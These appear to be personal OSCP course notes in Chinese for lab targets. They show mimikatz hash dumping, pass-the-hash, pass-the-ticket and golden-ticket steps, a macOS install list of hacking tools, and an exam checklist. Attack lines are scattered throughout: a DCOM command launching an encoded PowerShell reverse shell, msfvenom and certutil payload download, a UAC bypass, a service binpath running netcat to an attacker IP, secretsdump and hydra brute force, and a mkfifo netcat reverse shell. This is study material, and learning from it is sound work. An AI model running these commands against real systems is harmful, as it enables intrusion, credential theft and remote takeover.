Authentication Id : 0 ; 1044456 (00000000:000fefe8)
Session           : RemoteInteractive from 2
User Name         : offsec
Domain            : CLIENT76
Logon Server      : CLIENT76
Logon Time        : 2/20/2024 7:33:53 AM
SID               : S-1-5-21-1798880304-3042387037-2047428623-1001
        msv :
         [00000003] Primary
         * Username : offsec
         * Domain   : CLIENT76
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
        tspkg :
        wdigest :
         * Username : offsec
         * Domain   : CLIENT76
         * Password : (null)
        kerberos :
         * Username : offsec
         * Domain   : CLIENT76
         * Password : (null)
        ssp :
        credman :
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.com /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:powershell
user    : Administrator
domain  : corp.com
program : powershell
impers. : no
NTLM    : 2892d26cdf84d7a70e2eb3b9f05c425e
  |  PID  4432
  |  TID  4276
  |  LSA Process is now R/W
  |  LUID 0 ; 1854542 (00000000:001c4c4e)
  \_ msv1_0   - data copy @ 00000243D6EF4280 : OK !
  \_ kerberos - data copy @ 00000243D6FA2B78
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 00000243D6FBE418 (32) -> null

# 使用administraotr 開新powershell
PS C:\Windows\system32> whoami
client76\offsec
# 雖然還是offsec,但以切換admin hash

PS C:\Windows\system32> klist

Current LogonId is 0:0x1c4c4e

# no tickets
Cached Tickets: (0)
# 連線 web04
PS C:\Windows\system32> net use \\web04
The command completed successfully.

# 有 2 tickets
PS C:\Windows\system32> klist

Current LogonId is 0:0x1c4c4e

Cached Tickets: (2)

#0>     Client: Administrator @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 12/10/2023 10:52:33 (local)
        End Time:   12/10/2023 20:52:33 (local)
        Renew Time: 12/17/2023 10:52:33 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC1.corp.com

#1>     Client: Administrator @ CORP.COM
        Server: cifs/web04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 12/10/2023 10:52:33 (local)
        End Time:   12/10/2023 20:52:33 (local)
        Renew Time: 12/17/2023 10:52:33 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC1.corp.com
        
# 使用 PsExec.exe 連線 web04
PS C:\Windows\system32> C:\tools\SysinternalsSuite\PsExec.exe \\web04 cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

# 移動到web04
Microsoft Windows [Version 10.0.20348.887]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\administrator

C:\Windows\system32>
# .... 橫移成功 do something

Pass The Ticket (ptt)

# ticket 會放置在目前目錄
cd c:\tools
C:\tools\mimikatz.exe
privilege::debug
sekurlsa::tickets /export

image-1708434782630.png

# 回到mimikatz,使用以下指令攻擊,成功注入#
mimikatz # kerberos::ptt [0;104678]-0-0-40810000-dave@cifs-web04.kirbi

* File: '[0;104678]-0-0-40810000-dave@cifs-web04.kirbi': OK

PS C:\Windows\system32> klist

Current LogonId is 0:0xb8f86

Cached Tickets: (1)

#0>     Client: dave @ CORP.COM
        Server: cifs/web04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
        Start Time: 12/10/2023 11:01:33 (local)
        End Time:   12/10/2023 21:01:32 (local)
        Renew Time: 12/17/2023 11:01:32 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
        
# 利用SMB查詢
PS C:\Windows\system32> ls \\web04\backup

    Directory: \\web04\backup

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/13/2022   5:52 AM              0 backup_schemata.txt
-a----       12/10/2023  11:01 AM             78 flag.txt

# 取得flag
PS C:\Windows\system32> type \\web04\backup\flag.txt

DCOM

# kali
nc -lnvp 443
listening on [any] 443 ...
# 連到目標機呼叫kali反向shell
PS C:\Users\jen\Desktop> $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.248.72"))
# powershell ... 編碼base64反向shell
PS C:\Users\jen\Desktop> $dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4
AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBl.....",

Golden Ticket

sid + krbtgt的NTLM Hash

C:\tools\mimikatz.exe

mimikatz # privilege::debug

mimikatz # lsadump::lsa /patch
# sid
Domain : CORP / S-1-5-21-1987370270-658905905-1781884369

RID  : 000001f6 (502)
# krbtgt
User : krbtgt
LM   :
# krbtgt ntlm
NTLM : 1693c6cefafffc7af11ef34d1c788f47

到中繼機器

# 彈出新powershell(管理者執行)
PS C:\Users\jen> Start-Process powershell -Verb runAs
PS C:\Windows\system32> cd C:\Tools
PS C:\Tools> .\mimikatz.exe
...省略
# 清除ticket
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK
# kerberos::golden /user:{username} /domain:corp.com /sid:{sid} /krbtgt:{krbtgt ntlm} /ptt
mimikatz # kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
User      : jen
Domain    : corp.com (CORP)
SID       : S-1-5-21-1987370270-658905905-1781884369
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 1693c6cefafffc7af11ef34d1c788f47 - rc4_hmac_nt
Lifetime  : 12/10/2023 8:54:47 AM ; 12/7/2033 8:54:47 AM ; 12/7/2033 8:54:47 AM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'jen @ corp.com' successfully submitted for current session

# 啟用cmd
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF71995B800


####### 離開後連到 dc1 執行 cmd
C:\Tools>cd C:\Tools\SysinternalsSuite
C:\Tools\SysinternalsSuite>.\PsExec.exe \\DC1 cmd.exe

 

【OSCP】課程筆記

【轉載】Emotet病毒惡意文件分析實例

https://www.uuu.com.tw/Public/content/article/21/20210308.htm

主要是想寫 cyberchef 組合用法,有空再整理

 

【OSCP】課程筆記

【Mac】未安裝軟體

mac install for ctf
https://medium.com/@seitzmanuel/how-to-get-your-mac-osx-ready-for-playing-ctfs-hacking-6b6801250d1e

# homebrew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
brew update
curl https://bootstrap.pypa.io/get-pip.py > get-pip.py
python3 get-pip.py
python3 -m pip install pipx
ln -s <path_to_your_python_versions>/3.8/bin/pipx /usr/local/bin/pipx # for example /Library/Frameworks/Python.framework/Versions/3.8/bin/pipx
brew install pyenv
brew install wget
brew install openssl
brew install pipx
brew install burp-suite
brew install wireshark
brew install samba
brew install swaks
brew install exploitdb
brew install john 
brew install nmap
brew install gobuster
brew install metasploit
brew install sqlmap
brew install hashcat
brew install samba
brew install wpscanteam/tap/wpscan
brew install hydra
# 掃描工具
brew install nikto
or
brew install pyenv wget openssl burp-suite wireshark samba swaks exploitdb john nmap gobuster metasploit sqlmap hashcat samba wpscanteam/tap/wpscan hydra nikto



# 文件掃描
brew install binwalk
# 無線網路密碼破解
brew install aircrack-ng
brew install owasp-zap
brew install ghidra
brew install exiftool
# NetExec
brew install pipx
pipx install git+https://github.com/Pennyw0rth/NetExec
# smbmap
git clone https://github.com/ShawnDEvans/smbmap.git /usr/local/Cellar/smbmap && python3 -m pip install -r /usr/local/Cellar/smbmap/requirements.txt && ln -s /usr/local/Cellar/smbmap/smbmap.py /usr/local/bin/smbmap
# enum4linux
git clone https://github.com/CiscoCXSecurity/enum4linux.git /usr/local/Cellar/enum4linux && ln -s /usr/local/Cellar/enum4linux/enum4linux.pl /usr/local/bin/enum4linux
pipx install crackmapexec
pipx install git+https://github.com/calebstewart/pwncat.git
# seclists
git clone https://github.com/3ndG4me/KaliLists.git /usr/local/share/wordlists && gzip -d /usr/local/share/wordlists/rockyou.txt.gz
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O /tmp/master.zip ; unzip /tmp/master.zip -d /tmp ; mv /tmp/SecLists-master /tmp/seclists ; mv /tmp/seclists /usr/local/share/
# chisel
wget https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_darwin_amd64.gz -O chisel_osx.gz && gunzip -c chisel_osx.gz > linux/chisel_osx && rm chisel_osx.gz && chmod +x linux/chisel_osx
wget https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_linux_amd64.gz -O chisel_linux_64.gz && gunzip -c chisel_linux_64.gz > linux/chisel_linux_64 && rm chisel_linux_64.gz
wget https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_linux_386.gz -O chisel_linux_386.gz && gunzip -c chisel_linux_386.gz > linux/chisel_linux_386 && rm chisel_linux_386.gz
# PEASS-ng
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh -O linux/linpeas.sh
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat -O windows/winpeas.bat
wget https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/Release/winPEASany.exe -O windows/winpeas.exe
wget https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe -O windows/winpeas_obfuscated.exe
# linenum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O linux/linenum.sh
# linux exploit suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O linux/linux-exploit-suggester.sh
# lse 
wget https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh -O linux/lse.sh
# pspy 
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 -O linux/pspy64
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32 -O linux/pspy32
# powerup
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 -O windows/powerup.ps1
# jaws
wget https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1 -O windows/jaws-enum.ps1
# print spoofer
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe -O windows/printspoof.exe
# powershells revs
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -O reverse_shells/invoke-powershelltcp.ps1
# php rev shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O reverse_shells/php-rev-shell.php
# TokenBreaker
wget https://raw.githubusercontent.com/cyberblackhole/TokenBreaker/master/RsaToHmac.py -O jwt/RsaToHmac.py && python3 -m pip install -r https://raw.githubusercontent.com/cyberblackhole/TokenBreaker/master/requirements.txt
chmod +x jwt/RsaToHmac.py
wget https://raw.githubusercontent.com/cyberblackhole/TokenBreaker/master/TheNone.py -O jwt/TheNone.py 
chmod +x jwt/TheNone.py
# jwt cracker
mkdir -p jwt/jwt-cracker
wget https://raw.githubusercontent.com/brendan-rius/c-jwt-cracker/master/Makefile -O jwt/jwt-cracker/Makefile
wget https://raw.githubusercontent.com/brendan-rius/c-jwt-cracker/master/base64.c -O jwt/jwt-cracker/base64.c
wget https://raw.githubusercontent.com/brendan-rius/c-jwt-cracker/master/base64.h -O jwt/jwt-cracker/base64.h
wget https://raw.githubusercontent.com/brendan-rius/c-jwt-cracker/master/main.c -O jwt/jwt-cracker/main.c
cd jwt/jwt-cracker && make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib && cd ../../
# hash identifier
wget https://raw.githubusercontent.com/blackploit/hash-identifier/master/hash-id.py -O misc/hash-id.py
chmod +x misc/hash-id.py
# linkfinder
git clone https://github.com/GerbenJavado/LinkFinder.git misc/linkfinder
cd misc/linkfinder
python3 -m pip install -r requirements.txt
python3 setup.py install
chmod +x linkfinder.py
cd ../../
# Pentest Scripts
wget https://raw.githubusercontent.com/chikko80/Pen-Scripts/master/basic_scanner.py -O misc/basic_scanner.py
wget https://raw.githubusercontent.com/chikko80/Pen-Scripts/master/hydra_builder.py -O misc/hydra_builder.py
wget https://raw.githubusercontent.com/chikko80/Pen-Scripts/master/string_finder.py -O misc/string_finder.py
python3 -m pip install -r https://raw.githubusercontent.com/chikko80/Pen-Scripts/master/requirements.txt
chmod +x misc/*
#kali 
/usr/bin/unix-privesc-check
#./unix-privesc-check standard > output.txt

Install Metasploit on OS X
https://gist.github.com/xl7dev/a19da077792c5894529f

# XCode Command Line Tools

>xcode-select --install

# Install Homebrew

>ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
>echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile
>source ~/.bash_profile
>brew tap homebrew/versions

# Install nmap

>brew install nmap

# Install libxml2

>brew install libxml2

# Install PostgreSQL

#>brew install postgresql --without-ossp-uuid
>brew install postgresql

# ruby 2.1.X

#brew install homebrew/versions/ruby21
>brew install ruby
#ruby is keg-only, which means it was not symlinked into /usr/local,
#because macOS already provides this software and installing another version in
#parallel can cause all kinds of trouble.

#If you need to have ruby first in your PATH, run:
#  echo 'export PATH="/usr/local/opt/ruby/bin:$PATH"' >> ~/.zshrc

#For compilers to find ruby you may need to set:
#  export LDFLAGS="-L/usr/local/opt/ruby/lib"
#  export CPPFLAGS="-I/usr/local/opt/ruby/include"

#For pkg-config to find ruby you may need to set:
#  export PKG_CONFIG_PATH="/usr/local/opt/ruby/lib/pkgconfig"

# Initialize the database

>initdb /usr/local/var/postgres

#Success. You can now start the database server using:
#    pg_ctl -D /usr/local/var/postgres -l logfile start
    
>mkdir -p ~/Library/LaunchAgents
#>cp /usr/local/Cellar/postgresql/9.4.0/homebrew.mxcl.postgresql.plist ~/Library/LaunchAgents/
>cp /usr/local/Cellar/postgresql@14/14.12/homebrew.mxcl.postgresql@14.plist ~/Library/LaunchAgents/
#>launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist
>launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.postgresql@14.plist
>echo "alias pg_start='pg_ctl -D /usr/local/var/postgres -l /usr/local/var/postgres/server.log start'"
>echo "alias pg_stop='pg_ctl -D /usr/local/var/postgres stop'"

# Create the db for the metasploit framework

>createuser msf -P -h localhost
>createdb -O msf msf -h localhost

# Clone the Git Metasploit

>git clone https://github.com/rapid7/metasploit-framework.git /usr/local/share/metasploit-framework

# settings Env

>echo 'alias msfconsole="/usr/local/share/metasploit-framework && ./msfconsole && cd -"' >> ~/.zshrc
>echo 'alias msfbinscan="/usr/local/share/metasploit-framework && ./msfbinscan && cd -"' >> ~/.zshrc
>echo 'alias msfd="/usr/local/share/metasploit-framework && ./msfd && cd -"' >> ~/.zshrc
>echo 'alias msfelfscan="/usr/local/share/metasploit-framework && ./msfelfscan && cd -"' >> ~/.zshrc
>echo 'alias msfmachscan="/usr/local/share/metasploit-framework && ./msfmachscan && cd -"' >> ~/.zshrc
>echo 'alias msfpescan="/usr/local/share/metasploit-framework && ./msfpescan && cd -"' >> ~/.zshrc
>echo 'alias msfrop="/usr/local/share/metasploit-framework && ./msfrop && cd -"' >> ~/.zshrc
>echo 'alias msfrpc="/usr/local/share/metasploit-framework && ./msfrpc && cd -"' >> ~/.zshrc
>echo 'alias msfrpcd="/usr/local/share/metasploit-framework && ./msfrpcd && cd -"' >> ~/.zshrc
>echo 'alias msfupdate="/usr/local/share/metasploit-framework && ./msfupdate && cd -"' >> ~/.zshrc
>echo 'alias msfvenom="/usr/local/share/metasploit-framework && ./msfvenom && cd -"' >> ~/.zshrc
>sudo chmod go+w /etc/profile
>sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml >> /etc/profile
>cd /usr/local/share/metasploit-framework
>sudo gem install bundler:2.1.4
>sudo gem install activesupport -v '6.1.4.1'
>bundle install

# Create the Database Configuration

>vim /usr/local/share/metasploit-framework/config/database.yml
Paste the following text:

production:
 adapter: postgresql
 database: msf
 username: msf
 password: <your password>
 host: 127.0.0.1
 port: 5432
 pool: 75
 timeout: 5

# update your environment

>source /etc/profile
>source ~/.bash_profile

> msfconsole
【OSCP】課程筆記

【Linux】【提權】相關指令

Sudo install

 

# 
# ./bash -p => -p:  載入下環境變數
sudo install -m 755 $(which bash) . 
./bash -p
【OSCP】課程筆記

包包的解題思路

既使走過的路,每當事情有了變化,都要重新檢視,說不定當初不可利用的服務,在某階段,可以再次利用

flag的截圖指令要正確喔

hostname && whoami && cat proof.txt && ip a 
hostname && whoami.exe && type proof.txt && ipconfig /all

提權反彈shell如果都不行,那就改成建立帳號 有時候檔案明明有修改權限,但不能修改,就嘗試刪除,在建立看看

偵查

靶機如果有問題,卡關了,可以嘗試重置主機。 如果有host name請記得加入 /etc/hosts

使用rustscan粗略掃描 → nmap詳細掃描 → 掃描udp port 使用漏洞腳本掃描 --script=vuln

使用 port號、服務版本 → 找漏洞,版本資訊很重要 遇到奇怪的port建立使用 nc -v 以及 curl 確認一下 如果有proxy服務,就很可能需要掛proxy掃描工具才能找到隱藏目標 ftp、SMB 雖然可以匿名登入,有時候還是要多測試簡易帳密登入,可能會看到不一樣的東西 不管什麼服務/檔案,都要上網查一下版本有沒有漏洞,常常會忘記檢查ftp跟web跟ssh的服務版本 不要放過任何可疑的關鍵字。有時候路徑也可以當關鍵字

看到可疑檔案,請不要忽略,一略使用exiftool,strings,file檢查一輪,必要時也能丟到windows電腦測試看看

網頁偵查

入侵

找漏洞的關鍵字很重要,多嘗試不同的關鍵字 腳本要注意URL參數後面要不要帶入 / ,而且漏洞的腳本路徑通常要改 漏洞程式,要閱讀程式碼,在仔細使用,不行就再找過其他,或者參考漏洞程式,改手動攻擊,如果不成功,可以多測試幾次,有些攻擊是第二次才會成功,有時候攻擊比較久,需要等待 如果反彈shell一直失敗,就先使用whoami或者簡單nc或者curl/wget測試,或者查看看是不是沒有安裝nc,先確保可以RCE再反彈,或者要確認payload權限 反彈shell失敗,也可以建立執行檔,下載到目標,在遠端執行,也有可能是webshell的權限問題,可能要給執行權限。 既使不能正常的反彈,也要查看看能不能偷什麼資料 內網的機器不一定能反彈到kali,這時候可能需要使用MS01來做port forwad來轉發,或者反彈shell的port要多測試 遇到檔案上傳失敗,也要測試看看,有時候說不定還是有成功上傳,並且要找出上傳的地方,很有可能在其他port服務 有時候攻擊會失敗,就改成兩段式,第一次先下載payload,第二次執行payload 有時候程式執行失敗,很可能是32位元/64位元問題 如果上傳存在,請嘗試ntlm-theft 如果網站檔案可以透過 htdocs 等訪問,則嘗試透過symlink或直接上傳 shell.php。 如果使用ftp上傳exe檔案,請使用binary模式

發現的任何檔案,都有可能成為日後利用的,始終都要放在心上

有時候RCE怎樣都失敗,就要採取其他方式,分階段,或者設法傳送反彈的執行檔案到目標,在簡單的執行 有時候找不到突破口,可能也要想像有沒有其他出路,切到其他服務,組合技,或者使用其他帳號偵查

Umbraco 機敏檔案為 .sdf iis有時候可以使用 web.config 來達到RCE

有時候漏洞標題不一定有RCE關鍵字,通常都還要看內容才知道用途

exiftool+惡意圖片

入侵成功後,什麼指令都無法執行的時候,請檢察PATH環境變數

密碼

有了新帳密,任何的登入可能都必須要嘗試看看,不然認為障密只能使用在單一服務。 千萬要記得取得新帳密,一切都要從頭開始在列舉一次,包含之前登入過的網頁/之前登入過的服務,以及使用新帳號重新列舉。 永遠也要記得就算不能登入,也要拿來使用在其他地方。反之,如果遇到服務需要登入,切記把手頭上的所有帳密都要嘗試一輪。 有時候有了障密,不能登入win,也要嘗試有沒有smb方式執行RCE(每種橫移方式都嘗試) 帳號如果登入失敗,可以把帳號開頭替換大寫,密碼如果有日期,也可以修改一下。或者是帳號可能要加上信箱之類的。 密碼收集&重複使用(就算是資料庫帳密也能測試root)&簡單使用(帳號跟密碼相同) 或者密碼很像日期的,可以建議改日期看看 如果有帳號,不知道密碼,就使用簡單密碼,或者帳號/帳號測試一下 有時候密碼是空的,也請嘗試 如果密碼不能破解,那就看是否能串改 使用cewl產生密碼檔 使用字典檔需要挑選一下 最後就是使用 rockyou 爆破 在進行密碼噴灑之前,要先確認目標開啟了那些port,千萬別盲目的噴灑

密碼破解請記得使用 -r 指定rule 或者 --rules

提權

提權:有時候初始入侵後,可能要再利用當初掃port的服務,放上payload反彈來提權 有時候要根據帳號名稱,來推測目標有哪些服務,但是帳號名稱不一定侷限用來登入系統,很可能也能用來登入服務(資料庫/網頁/SMB/FTP等等) 系統檢查別忘了檢查 - 環境變數

有時候每個帳號看到的/tmp不一定是相同的,當A帳號放檔案,B帳號看不到,可能就要多嘗試其他的路徑,例如 /var/tmp

對於windows打法,一定要徹底執行SMB,LDAP,RPC列舉,方法很多,一定要徹底執行。 打windows必要的就是 列舉SMB → enum4linux → namp列舉ldap → ldapsearch → rpcclient 打windows記得有時候一個 \ 可能不行,就要改成 \\ 兩個反斜線

有時候打進來的低權限,記得要回頭找之前的服務,看能不能再利用來提權

使用find指令找出來的檔案,如果日期很近,通常是考題 檢查 env_keep+=LD_PRELOAD

設定檔,有時候可以觀察process取得 有時候腳本會指定路徑,我們要想辦法繞過限制(跨路徑)

執行奇怪的程式,也能使用pspy來觀察程序

不能ssh也要嘗試sudo或者其他服務

就算是SUID 不只使用gofobin找,也要上網google找

Linux

2.檢查自己的群組/sudo/SUID/getcap(cap_setuid=ep) 1.注意有哪些服務,就去收刮所有服務的設定檔 2.檢查每個人的home目錄(包含自己的),.ssh底下的每個檔案,指令紀錄,奇怪檔案(使用strings、--help、工具檢查) 3.使用自動化腳本列舉(仔細閱讀輸出) 4.檢查每個人的信箱&信箱目錄 5.找到python腳本,通常也檢查相關lib或者python套件是否有漏洞可用,同樣也適用其他語言 檢查root有啟動那些程序/服務(檢查相關設定) 使用pspy檢查程序排程 /etc/cron.d 底下的每個檔案都要檢查內容,有可能藏在這裏面 檢查可寫入的檔案有哪些 檢查能不能修改某些服務的設定檔,改權限啟動,進而提權 如果可以修改apache設定檔,將apache利用其他帳號啟動,也可以達到提權效果 SUID/SUDO提權 sudo提權,要注意有沒有NOPASSWD,以及使用 -u 帳號,等等方式變化不同的提權 檢查有沒有LD_LIBRARY_PATH 的寫入權限 → 產生 .so檔 放到目標路徑

服務看能不能換其他帳號執行 檢查服務執行的程式,是否有權限修改

如果有ssh權限,但不能執行,也可能可以拿來做通道/傳檔案

檢查fail2ban檔案

crontab 也能提權喔 (gtfobins方法不完全)

$ sudo crontab -e
:set shell=/bin/sh
:shell
# id

核心漏洞 dirtycow 2 CVE 2016-5195 40839 要注意 /tmp 被設定了 nosuid 跟 noexec 。表示/tmp底下的檔案都不能被設定為SUID 跟 執行。 ldd 可以檢查library相依

目錄沒有讀取權限,也說不定要猜測一下目錄的檔案,只要有執行權限,就能讀取資料夾內的檔案,但必須要知道檔案名稱

Win

找到服務提權(沒有引號+空白路徑的服務,或者服務路徑可寫入,或者服務設定可寫入),同時檢查能不能 重啟服務/設定服務/重新開機 找安裝那些軟體(通常安裝的其他服務就是有問題),檢查軟體寫的log,查看設定檔案,查版本找漏洞 檢查DDL挾持

檢查登錄表 密碼列舉的指令 如果xp_cmdshell不能用,可能需要提升權限,或者改用xp_dirtree+responder途徑 檢查 AlwaysInstallElevated

可以提權的特權: SeImpersonatePrivilege: 使用 PrintSpoofer 或各種馬鈴薯 SeManageVolumePrivilege : 可任意寫入檔案 (使用 tzres.dll + systeminfo) SeLoadDriverPrivilege : 透過載入易受攻擊的驅動程式並利用它來進行濫用。參考HTB: Fuse SeBackupPrivilege : 來讀取任意文件。參考HTB: Blackfield SeMachineAccountPrivilege : 允許將一台機器添加到AD中。

可提權的群組: Server Operators : 僅存在於網域控制器上的內建群組。預設情況下,該群組沒有成員。伺服器操作員可以互動式登入伺服器;建立和刪除網路共享;啟動和停止服務;備份和恢復檔案;格式化電腦硬碟;並關閉計算機。預設使用者權限: 允許本機登入:SeInteractiveLogonRight 備份檔案與目錄:SeBackupPrivilege 變更系統時間:SeSystemTimePrivilege 變更時區:SeTimeZonePrivilege 從遠端系統強制關閉:SeRemoteShutdownPrivilege 還原檔案與目錄 SeRestorege 從遠端系統強制關閉:SeRemoteShutdownPrivilege 還原檔案與目錄 SeRestorege

帳號之間的橫移,從低權限的帳號橫移到高權限,可以使用runas,或者以管理身分開啟cmd,輸入高權限的帳密

AD

打AD都要先找出domain名稱,並且記得加入hosts 每當有發現新帳號,記得整理帳號清單/密碼清單,然後別忘記加入預設的帳號例如 administrator,root之類的,然後再不斷的噴灑 如果DC對外,就可以直接進行攻擊,或者暴力列舉 如果CME出現STATUS_ACCOUNT_RESTRICTION通常表示 NTLM 被停用,需要使用 Kerberos 進行身份驗證,請加上 -k 參數。 取得人名可以使用username-anarchy工具排列組合成帳號清單(AD常見格式) 列舉LDAP,留意每個屬性,尤其是description 有了新帳號還是得要重複列舉帳號,有時候初始列舉會有遺漏

後利用

列舉所有可能的機敏資料 使用mimikatz,peas,bloodhound等自動化工具 馬鈴薯提權,如果無法彈shell,那就改成新增管理帳號

其他

遇到base64可能要解碼兩次以上 (或者base64key解碼)

每次取得新帳密,重複列舉(SMB/網頁登入/AD資訊收集) 有時有ssh金鑰不能登入,也說不定可以拿來做通道,或者scp使用 發現軟體都要檢查版本看看有沒有漏洞,相關lib也可能有漏洞 使用ftp傳送檔案,有時候要使用binary模式 zip檔案有時候要使用7zip解壓縮 如果真的不行就是tcpdump看看帳密是不是藏在網路流量中

有的時候攻擊是組合技,找到什麼檔案,找到什麼特殊權限,找到什麼軟體,一起組合成功攻擊

確認檔案權限時,都要把手頭上的帳號,都反覆確認

指令串接,也可以使用 # 字來繞過限制,參考 Wheels 靶機

如果有圖片,可以測試隱寫術

補充

如果.NET使用iLspy或dnspy或dotpeek 如果zip檔使用evilarc進行路徑遍歷

弱密碼

常用的設定檔路徑

UAC httphttps://github.com/dotfornet/UACME[s://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control](https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control)

<https://github.com/dotfornet/UACME>

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.4.72.241 LPORT=4444 -f exe -o shell.exe

certutil -urlcache -f <http://10.4.72.241/shell.exe> C:\\tools\\shell.exe

UACME-Akagi64.exe 52 cmd.exe

C:\\tools\\UACME-Akagi64.exe 33
C:\\tools\\UACME-Akagi64.exe 41 C:\\tools\\shell.exe
sc.exe config VSS binpath="C:\\programdata\\nc64.exe -e cmd 10.10.14.6 443"
sc.exe config VSS binpath="C:\\windows\\system32\\cmd.exe /c C:\\programdata\\nc64.exe -e cmd 10.10.14.6 443"
systeminfo
whoami /priv
net user /domain
net user fsmith /domain
smbclient -L 10.10.10.175 -U "Egotistical-bank.local/fsmith"
impacket-secretsdump -just-dc-ntlm Egotistical-bank.local/fsmith:'Thestrokes23'@10.10.10.175
cmdkey /list
cat (Get-PSReadlineOption).HistorySavePath
type C:\\Users\\<<<帳號>>>\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt
reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon"

Get-ADPrincipalGroupMembership support
gcc -m32 -w -fPIC -shared -o exploit payload.c

hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt <ftp://192.168.235.183>

<http://Joomla/README.txt>
<http://xxxxxxxxxx/osclass/CHANGELOG.txt> 

資料庫帳號密碼hash無法破解,也嘗試看看能不能自行新增
Joomla利用樣板反彈
路徑的重要性

上網查 `$2y$10$` 開頭應該是 php BCRYPT 加密
<https://www.php.net/manual/zh/function.password-hash.php>
使用以下工具,建立一個密碼hash
<https://newfreetool.com/en/password-hash>

使用vi編輯器來逃脫受限制的shell環境
tom@DC-2:~$ vi
:set shell=/bin/bash
:shell

export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL

SSH暴力登入

sudo patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 0=/usr/share/wordlists/rockyou.txt persistent=0 -x ignore:fgrep='failed'
pip3 list
docker-inspect

hydra -C tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html

傳送檔案記得要先使用binary

【OSCP】課程筆記

exam

【總覽】Tools

常用網站

提權

echo 'exec "/bin/bash"' > app.rb

編碼

寫作

reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.145.128 4444 >/tmp/f

 

連線

remote desk top

portforward

橫移
Tunnel

 

分享

smb

apache

python

列舉

